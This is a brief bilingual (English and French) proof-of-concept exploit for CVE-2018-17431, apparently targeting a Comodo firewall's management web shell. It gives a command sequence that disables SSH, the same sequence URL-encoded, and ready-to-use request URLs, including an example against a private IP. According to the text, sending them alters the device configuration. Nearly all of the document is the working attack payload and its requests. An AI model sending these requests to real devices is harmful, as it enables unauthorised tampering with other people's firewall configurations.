
Proof of consept for CVE-2018-17431
Preuve de concept pour CVE-2018-17431
Exploit :
Simulation WebShell :
For example disable SSH in web shell is like this:
- service [hit enter]
- ssh [hit enter]
- disable [hit enter]
Encodage
make above sequense encode with URL ECODING
(j'ai utilisé le plugin Burp Encoder)
%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a
Exécuter
Base URL: https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=[Encoded_Command]&l=[Integer]&_=1534440840152
https://[Comodo_Firewall_IP]:[WebPort]/manage/webshell/u?s=[Integer]&w=100&h=24&k=%0a&l=[Integer]&_=1534440840152 (extra enter key for run the command)
Example: https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%73%65%72%76%69%63%65%0a%73%73%68%0a%64%69%73%61%62%6c%65%0a&l=21&_=1534440840152
https://192.168.250.10:10443/manage/webshell/u?s=4&w=100&h=24&k=%0a&l=21&_=1534440840152
Une page avec le message "Configuration has been altered" s'affichera et la configuration sera modifiée !